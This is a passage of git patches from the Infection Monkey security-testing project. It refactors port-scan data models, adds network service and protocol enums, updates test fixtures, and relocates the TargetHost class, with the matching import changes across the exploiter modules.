1594dd6bd93..aa54019b90f 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -78,16 +78,21 @@ def scan_tcp_ports( dot_1_results = { 22: PortScanData(port=22, status=PortStatus.CLOSED), 445: PortScanData( - port=445, status=PortStatus.OPEN, banner="SMB BANNER", service="tcp-445" + port=445, status=PortStatus.OPEN, banner="SMB BANNER", service_deprecated="tcp-445" + ), + 3389: PortScanData( + port=3389, status=PortStatus.OPEN, banner="", service_deprecated="tcp-3389" ), - 3389: PortScanData(port=3389, status=PortStatus.OPEN, banner="", service="tcp-3389"), } dot_3_results = { 22: PortScanData( - port=22, status=PortStatus.OPEN, banner="SSH BANNER", service="tcp-22" + port=22, status=PortStatus.OPEN, banner="SSH BANNER", service_deprecated="tcp-22" ), 443: PortScanData( - port=443, status=PortStatus.OPEN, banner="HTTPS BANNER", service="tcp-443" + port=443, + status=PortStatus.OPEN, + banner="HTTPS BANNER", + service_deprecated="tcp-443", ), 3389: PortScanData(port=3389, status=PortStatus.CLOSED, banner=""), } diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index ac2af7b6e36..3b78fd12563 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -98,11 +98,11 @@ def assert_scan_results_no_1( assert psd_445.port == 445 assert psd_445.banner == "SMB BANNER" - assert psd_445.service == "tcp-445" + assert psd_445.service_deprecated == "tcp-445" assert psd_3389.port == 3389 assert psd_3389.banner == "" - assert psd_3389.service == "tcp-3389" + assert psd_3389.service_deprecated == "tcp-3389" assert_port_status(port_scan_data, {445, 3389}) assert_fingerprint_results_no_1(fingerprint_data) @@ -137,11 +137,11 @@ def assert_scan_results_no_3( assert psd_443.port == 443 assert psd_443.banner == "HTTPS BANNER" - assert psd_443.service == "tcp-443" + assert psd_443.service_deprecated == "tcp-443" assert psd_22.port == 22 assert psd_22.banner == "SSH BANNER" - assert psd_22.service == "tcp-22" + assert psd_22.service_deprecated == "tcp-22" assert_port_status(port_scan_data, {22, 443}) assert_fingerprint_results_no_3(fingerprint_data) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index e4164811944..3c1ea79b578 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -20,8 +20,12 @@ PingScanData(response_received=True, os=OperatingSystem.WINDOWS), { 22: PortScanData(port=22, status=PortStatus.CLOSED), - 445: PortScanData(port=445, status=PortStatus.OPEN, banner="SMB BANNER", service="tcp-445"), - 3389: PortScanData(port=3389, status=PortStatus.OPEN, banner="", service="tcp-3389"), + 445: PortScanData( + port=445, status=PortStatus.OPEN, banner="SMB BANNER", service_deprecated="tcp-445" + ), + 3389: PortScanData( + port=3389, status=PortStatus.OPEN, banner="", service_deprecated="tcp-3389" + ), }, { "SMBFinger": FingerprintData("windows", "vista", {"tcp-445": {"name": "smb_service_name"}}), @@ -33,9 +37,11 @@ dot_3_scan_results = IPScanResults( PingScanData(response_received=True, os=OperatingSystem.LINUX), { - 22: PortScanData(port=22, status=PortStatus.OPEN, banner="SSH BANNER", service="tcp-22"), + 22: PortScanData( + port=22, status=PortStatus.OPEN, banner="SSH BANNER", service_deprecated="tcp-22" + ), 443: PortScanData( - port=443, status=PortStatus.OPEN, banner="HTTPS BANNER", service="tcp-443" + port=443, status=PortStatus.OPEN, banner="HTTPS BANNER", service_deprecated="tcp-443" ), 3389: PortScanData(port=3389, status=PortStatus.CLOSED, banner=""), }, diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py index 45f5a3fd539..84038dbfdc4 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py @@ -39,10 +39,16 @@ def http_fingerprinter(): def test_no_http_ports_open(mock_get_http_headers, http_fingerprinter): port_scan_data = { - 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service="tcp-80"), - 123: PortScanData(port=123, status=PortStatus.OPEN, banner="", service="tcp-123"), - 443: PortScanData(port=443, status=PortStatus.CLOSED, banner="", service="tcp-443"), - 8080: PortScanData(port=8080, status=PortStatus.CLOSED, banner="", service="tcp-8080"), + 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-80"), + 123: PortScanData( + port=123, status=PortStatus.OPEN, banner="", service_deprecated="tcp-123" + ), + 443: PortScanData( + port=443, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-443" + ), + 8080: PortScanData( + port=8080, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-8080" + ), } http_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, OPTIONS) @@ -51,10 +57,16 @@ def test_no_http_ports_open(mock_get_http_headers, http_fingerprinter): def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter): port_scan_data = { - 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service="tcp-80"), - 123: PortScanData(port=123, status=PortStatus.OPEN, banner="", service="tcp-123"), - 443: PortScanData(port=443, status=PortStatus.OPEN, banner="", service="tcp-443"), - 8080: PortScanData(port=8080, status=PortStatus.CLOSED, banner="", service="tcp-8080"), + 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-80"), + 123: PortScanData( + port=123, status=PortStatus.OPEN, banner="", service_deprecated="tcp-123" + ), + 443: PortScanData( + port=443, status=PortStatus.OPEN, banner="", service_deprecated="tcp-443" + ), + 8080: PortScanData( + port=8080, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-8080" + ), } fingerprint_data = http_fingerprinter.get_host_fingerprint( "127.0.0.1", None, port_scan_data, OPTIONS @@ -73,10 +85,16 @@ def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter): def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter): port_scan_data = { - 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service="tcp-80"), - 123: PortScanData(port=123, status=PortStatus.OPEN, banner="", service="tcp-123"), - 443: PortScanData(port=443, status=PortStatus.CLOSED, banner="", service="tcp-443"), - 9200: PortScanData(port=9200, status=PortStatus.OPEN, banner="", service="tcp-9200"), + 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-80"), + 123: PortScanData( + port=123, status=PortStatus.OPEN, banner="", service_deprecated="tcp-123" + ), + 443: PortScanData( + port=443, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-443" + ), + 9200: PortScanData( + port=9200, status=PortStatus.OPEN, banner="", service_deprecated="tcp-9200" + ), } fingerprint_data = http_fingerprinter.get_host_fingerprint( "127.0.0.1", None, port_scan_data, OPTIONS @@ -93,9 +111,13 @@ def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter): def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter): port_scan_data = { - 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service="tcp-80"), - 443: PortScanData(port=443, status=PortStatus.OPEN, banner="", service="tcp-443"), - 8080: PortScanData(port=8080, status=PortStatus.OPEN, banner="", service="tcp-8080"), + 80: PortScanData(port=80, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-80"), + 443: PortScanData( + port=443, status=PortStatus.OPEN, banner="", service_deprecated="tcp-443" + ), + 8080: PortScanData( + port=8080, status=PortStatus.OPEN, banner="", service_deprecated="tcp-8080" + ), } fingerprint_data = http_fingerprinter.get_host_fingerprint( "127.0.0.1", None, port_scan_data, OPTIONS @@ -118,7 +140,9 @@ def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter): def test_server_missing_from_http_headers(mock_get_http_headers, http_fingerprinter): port_scan_data = { - 1080: PortScanData(port=1080, status=PortStatus.OPEN, banner="", service="tcp-1080"), + 1080: PortScanData( + port=1080, status=PortStatus.OPEN, banner="", service_deprecated="tcp-1080" + ), } fingerprint_data = http_fingerprinter.get_host_fingerprint( "127.0.0.1", None, port_scan_data, OPTIONS diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py index 79ccc1a8108..927ae50dbb6 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py @@ -12,8 +12,8 @@ ) PORT_SCAN_DATA_BOGUS = { - 80: PortScanData(port=80, status=PortStatus.OPEN, banner="", service="tcp-80"), - 8080: PortScanData(port=8080, status=PortStatus.OPEN, banner="", service="tcp-8080"), + 80: PortScanData(port=80, status=PortStatus.OPEN, banner="", service_deprecated="tcp-80"), + 8080: PortScanData(port=8080, status=PortStatus.OPEN, banner="", service_deprecated="tcp-8080"), } diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py index 8c20c57317d..5afe0615b0c 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py @@ -13,9 +13,13 @@ def ssh_fingerprinter(): def test_no_ssh_ports_open(ssh_fingerprinter): port_scan_data = { - 22: PortScanData(port=22, status=PortStatus.CLOSED, banner="", service="tcp-22"), - 123: PortScanData(port=123, status=PortStatus.OPEN, banner="", service="tcp-123"), - 443: PortScanData(port=443, status=PortStatus.CLOSED, banner="", service="tcp-443"), + 22: PortScanData(port=22, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-22"), + 123: PortScanData( + port=123, status=PortStatus.OPEN, banner="", service_deprecated="tcp-123" + ), + 443: PortScanData( + port=443, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-443" + ), } results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) @@ -25,13 +29,23 @@ def test_no_ssh_ports_open(ssh_fingerprinter): def test_no_os(ssh_fingerprinter): port_scan_data = { 22: PortScanData( - port=22, status=PortStatus.OPEN, banner="SSH-2.0-OpenSSH_8.2p1", service="tcp-22" + port=22, + status=PortStatus.OPEN, + banner="SSH-2.0-OpenSSH_8.2p1", + service_deprecated="tcp-22", ), 2222: PortScanData( - port=2222, status=PortStatus.OPEN, banner="SSH-2.0-OpenSSH_8.2p1", service="tcp-2222" + port=2222, + status=PortStatus.OPEN, + banner="SSH-2.0-OpenSSH_8.2p1", + service_deprecated="tcp-2222", + ), + 443: PortScanData( + port=443, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-443" + ), + 8080: PortScanData( + port=8080, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-8080" ), - 443: PortScanData(port=443, status=PortStatus.CLOSED, banner="", service="tcp-443"), - 8080: PortScanData(port=8080, status=PortStatus.CLOSED, banner="", service="tcp-8080"), } results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) @@ -59,10 +73,14 @@ def test_ssh_os(ssh_fingerprinter): port=22, status=PortStatus.OPEN, banner="SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2", - service="tcp-22", + service_deprecated="tcp-22", + ), + 443: PortScanData( + port=443, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-443" + ), + 8080: PortScanData( + port=8080, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-8080" ), - 443: PortScanData(port=443, status=PortStatus.CLOSED, banner="", service="tcp-443"), - 8080: PortScanData(port=8080, status=PortStatus.CLOSED, banner="", service="tcp-8080"), } results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) @@ -85,16 +103,20 @@ def test_multiple_os(ssh_fingerprinter): port=22, status=PortStatus.OPEN, banner="SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2", - service="tcp-22", + service_deprecated="tcp-22", ), 2222: PortScanData( port=2222, status=PortStatus.OPEN, banner="SSH-2.0-OpenSSH_8.2p1 Debian", - service="tcp-2222", + service_deprecated="tcp-2222", + ), + 443: PortScanData( + port=443, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-443" + ), + 8080: PortScanData( + port=8080, status=PortStatus.CLOSED, banner="", service_deprecated="tcp-8080" ), - 443: PortScanData(port=443, status=PortStatus.CLOSED, banner="", service="tcp-443"), - 8080: PortScanData(port=8080, status=PortStatus.CLOSED, banner="", service="tcp-8080"), } results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) From 059a878722437a9ce05b54f4097507a4de2d5798 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Feb 2023 19:57:52 +0530 Subject: [PATCH 0080/1338] Agent: Add PortScanData.service as a NetworkService --- monkey/infection_monkey/i_puppet/port_scan_data.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/i_puppet/port_scan_data.py b/monkey/infection_monkey/i_puppet/port_scan_data.py index a2ec8cbf343..4e6eccb54b8 100644 --- a/monkey/infection_monkey/i_puppet/port_scan_data.py +++ b/monkey/infection_monkey/i_puppet/port_scan_data.py @@ -3,11 +3,12 @@ from pydantic import Field from common.base_models import InfectionMonkeyBaseModel -from common.types import NetworkPort, PortStatus +from common.types import NetworkPort, NetworkService, PortStatus class PortScanData(InfectionMonkeyBaseModel): port: NetworkPort status: PortStatus banner: Optional[str] = Field(default=None) + service: Optional[NetworkService] = Field(default=None) service_deprecated: Optional[str] = Field(default=None) From c218c477d996c7543aa52b918656f76b7bce0a1c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Feb 2023 13:19:43 -0500 Subject: [PATCH 0081/1338] Agent: Change default PortScanData.NetworkService to UNKNOWN --- monkey/infection_monkey/i_puppet/port_scan_data.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/i_puppet/port_scan_data.py b/monkey/infection_monkey/i_puppet/port_scan_data.py index 4e6eccb54b8..e679e7fa725 100644 --- a/monkey/infection_monkey/i_puppet/port_scan_data.py +++ b/monkey/infection_monkey/i_puppet/port_scan_data.py @@ -10,5 +10,5 @@ class PortScanData(InfectionMonkeyBaseModel): port: NetworkPort status: PortStatus banner: Optional[str] = Field(default=None) - service: Optional[NetworkService] = Field(default=None) + service: NetworkService = Field(default=NetworkService.UNKNOWN) service_deprecated: Optional[str] = Field(default=None) From 134af807345ae362a7fab0156164be9c45be1f61 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Feb 2023 08:53:22 -0500 Subject: [PATCH 0082/1338] Common: Add new services to NetworkService --- monkey/common/types/networking.py | 3 +++ vulture_allowlist.py | 7 ++++++- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/common/types/networking.py b/monkey/common/types/networking.py index 110b854de9c..68341918f2c 100644 --- a/monkey/common/types/networking.py +++ b/monkey/common/types/networking.py @@ -17,6 +17,9 @@ class NetworkService(Enum): member is the member's name in all lower-case characters. """ + HTTP = "http" + MSSQL = "mssql" + SMB = "smb" UNKNOWN = "unknown" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index c74a2485ae5..78aaf561560 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -6,7 +6,7 @@ from common.agent_plugins import AgentPlugin, AgentPluginManifest from common.base_models import InfectionMonkeyModelConfig, MutableInfectionMonkeyModelConfig from common.credentials import LMHash, NTHash, SecretEncodingConfig -from common.types import Lock, NetworkPort, PluginName +from common.types import Lock, NetworkPort, NetworkService, PluginName from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell @@ -119,3 +119,8 @@ AgentPlugin.supported_operating_systems HadoopPlugin + +# Remove after #2136 +NetworkService.HTTP +NetworkService.MSSQL +NetworkService.SMB From c3df8503c87518b662d241a3aa60aae3df4f5380 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 19 Feb 2023 19:29:01 -0500 Subject: [PATCH 0083/1338] Agent: Change -F to --onefile -F and --onefile are synonyms, but an upcoming version of PyInstaller complains about our use of --onefile. To save anyone the confusion of trying to figure out why PyInstaller complains about --onefile when it would appear we're not using it, I've changed -F to --onefile. --- monkey/infection_monkey/build_linux.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh index 68abd4758ed..a6fb7345667 100644 --- a/monkey/infection_monkey/build_linux.sh +++ b/monkey/infection_monkey/build_linux.sh @@ -14,4 +14,4 @@ then fi fi -pyinstaller -F --log-level=DEBUG --clean monkey.spec +pyinstaller --onefile --log-level=DEBUG --clean monkey.spec From dc1b7b0eb4e9c8e15d64f1147a59dfe201c8f08f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 11:18:07 +0530 Subject: [PATCH 0084/1338] Common: Add NetworkProtocol enum --- monkey/common/types/networking.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/monkey/common/types/networking.py b/monkey/common/types/networking.py index 68341918f2c..b12327f1efb 100644 --- a/monkey/common/types/networking.py +++ b/monkey/common/types/networking.py @@ -9,6 +9,19 @@ from common.network.network_utils import address_to_ip_port +class NetworkProtocol(Enum): + """ + An Enum representing network protocols + + This Enum represents network protocols. The value of each + member is the member's name in all lower-case characters. + """ + + TCP = "tcp" + UDP = "udp" + ICMP = "icmp" + + class NetworkService(Enum): """ An Enum representing network services From 5630459966efaaab5ccb127bba042cf4f1059d69 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 11:21:19 +0530 Subject: [PATCH 0085/1338] Common: Add NetworkProtocol to init file --- monkey/common/types/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/types/__init__.py b/monkey/common/types/__init__.py index 564c5b37576..8f4d9289f62 100644 --- a/monkey/common/types/__init__.py +++ b/monkey/common/types/__init__.py @@ -2,6 +2,6 @@ from .serialization import JSONSerializable from .ids import AgentID, HardwareID, MachineID from .int_range import IntRange -from .networking import NetworkService, NetworkPort, PortStatus, SocketAddress +from .networking import NetworkService, NetworkPort, PortStatus, SocketAddress, NetworkProtocol from .plugin_types import PluginName from .plugin_types import PluginVersion From bea770ee76129193d3f858275936b9f099bca2c5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 11:28:36 +0530 Subject: [PATCH 0086/1338] Agent: Add TargetHost.port_status --- monkey/infection_monkey/model/host.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 07c49036f8e..82e2843c681 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -1,10 +1,13 @@ from ipaddress import IPv4Address -from typing import Any, Dict, Optional +from typing import Any, Dict, Optional, Union from pydantic import Field +from typing_extensions import Literal # import from `typing` once we switch to Python 3.8 from common import OperatingSystem from common.base_models import MutableInfectionMonkeyBaseModel +from common.types import NetworkPort, NetworkProtocol +from infection_monkey.i_puppet import PortScanData class TargetHost(MutableInfectionMonkeyBaseModel): @@ -12,6 +15,10 @@ class TargetHost(MutableInfectionMonkeyBaseModel): operating_system: Optional[OperatingSystem] = Field(default=None) services: Dict[str, Any] = Field(default={}) # deprecated icmp: bool = Field(default=False) + port_status: Dict[ + Union[Literal[NetworkProtocol.TCP], Literal[NetworkProtocol.UDP]], + Dict[NetworkPort, PortScanData], + ] = Field(default={}) def __hash__(self): return hash(self.ip) From 36ecd948cd1708737ed717b605c283ed2c66eb64 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 18:12:15 +0530 Subject: [PATCH 0087/1338] Agent: Rename infection_monkey/model/host.py -> infection_monkey/i_puppet/target_host.py --- .../{model/host.py => i_puppet/target_host.py} | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) rename monkey/infection_monkey/{model/host.py => i_puppet/target_host.py} (95%) diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/i_puppet/target_host.py similarity index 95% rename from monkey/infection_monkey/model/host.py rename to monkey/infection_monkey/i_puppet/target_host.py index 82e2843c681..d06d71ba1c2 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -7,7 +7,8 @@ from common import OperatingSystem from common.base_models import MutableInfectionMonkeyBaseModel from common.types import NetworkPort, NetworkProtocol -from infection_monkey.i_puppet import PortScanData + +from . import PortScanData class TargetHost(MutableInfectionMonkeyBaseModel): From 7da324225bf7df742bd5dbde58a81a6dc12f204d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 18:23:52 +0530 Subject: [PATCH 0088/1338] Agent: Fix TargetHost imports --- monkey/infection_monkey/exploit/HostExploiter.py | 3 +-- monkey/infection_monkey/exploit/exploiter_wrapper.py | 2 +- .../service_exploiters/i_service_exploiter.py | 2 +- .../exploit/log4shell_utils/service_exploiters/logstash.py | 2 +- .../exploit/log4shell_utils/service_exploiters/solr.py | 2 +- .../exploit/log4shell_utils/service_exploiters/tomcat.py | 2 +- .../exploit/powershell_utils/auth_options.py | 2 +- monkey/infection_monkey/exploit/tools/helpers.py | 2 +- .../exploit/tools/http_agent_binary_server.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/exploit/zerologon_utils/dc_utils.py | 2 +- monkey/infection_monkey/i_puppet/__init__.py | 1 + monkey/infection_monkey/i_puppet/i_puppet.py | 5 ++--- monkey/infection_monkey/master/exploiter.py | 3 +-- monkey/infection_monkey/master/propagator.py | 2 +- monkey/infection_monkey/model/__init__.py | 2 -- .../infection_monkey/puppet/plugin_compatability_verifier.py | 2 +- monkey/infection_monkey/puppet/puppet.py | 2 +- 18 files changed, 18 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index b5a25ca7d9d..a6c08978d4d 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -8,8 +8,7 @@ from common.event_queue import IAgentEventQueue from common.types import Event from common.utils.exceptions import FailedExploitationError -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.network import TCPPortSelector from infection_monkey.utils.ids import get_agent_id diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py index 37935f7bf39..e2b42b21942 100644 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -2,7 +2,7 @@ from common.event_queue import IAgentEventQueue from common.types import Event -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost from infection_monkey.network import TCPPortSelector from . import IAgentBinaryRepository diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py index a20ae4db7a1..e7fb145e059 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py @@ -1,6 +1,6 @@ import abc -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost class IServiceExploiter(metaclass=abc.ABCMeta): diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py index 794db87b53e..5543dfe9258 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py @@ -4,7 +4,7 @@ from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost logger = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 0be8fa9ad31..f1437fba225 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -4,7 +4,7 @@ from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost logger = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py index f7682aeeb35..0defa5dcef4 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -4,7 +4,7 @@ from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost logger = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 56501c1de1b..4eb0fcde770 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,7 +1,7 @@ from dataclasses import dataclass from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType -from infection_monkey.model.host import TargetHost +from infection_monkey.i_puppet import TargetHost AUTH_BASIC = "basic" AUTH_NEGOTIATE = "negotiate" diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 6e00796edcc..cfb25e11c6d 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -4,7 +4,7 @@ from common import OperatingSystem from common.utils.code_utils import insecure_generate_random_string -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py index f2943a63c39..50b341dbcb4 100644 --- a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py +++ b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py @@ -1,7 +1,7 @@ from common.types import SocketAddress from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.exploit.tools import HTTPBytesServer -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost from infection_monkey.network import TCPPortSelector from infection_monkey.network.tools import get_interface_to_target diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 23bd0e545c6..e61d219ee5e 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -6,6 +6,7 @@ from common import OperatingSystem from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.i_puppet import TargetHost from infection_monkey.model import ( BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, @@ -17,7 +18,6 @@ POWERSHELL_HTTP_UPLOAD, RUN_MONKEY, WGET_HTTP_UPLOAD, - TargetHost, ) from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.utils.commands import ( diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dc_utils.py b/monkey/infection_monkey/exploit/zerologon_utils/dc_utils.py index 005c7f639c0..6c8ba7282a4 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dc_utils.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dc_utils.py @@ -6,7 +6,7 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.utils.exceptions import DomainControllerNameFetchError -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index 69e879377a4..99f45e89403 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -10,3 +10,4 @@ ) from .i_fingerprinter import IFingerprinter from .i_credential_collector import ICredentialCollector +from .target_host import TargetHost diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index f3958ecde4a..5681264a3ee 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -6,10 +6,9 @@ from common.agent_plugins import AgentPluginType from common.credentials import Credentials from common.types import Event, NetworkPort -from infection_monkey.i_puppet 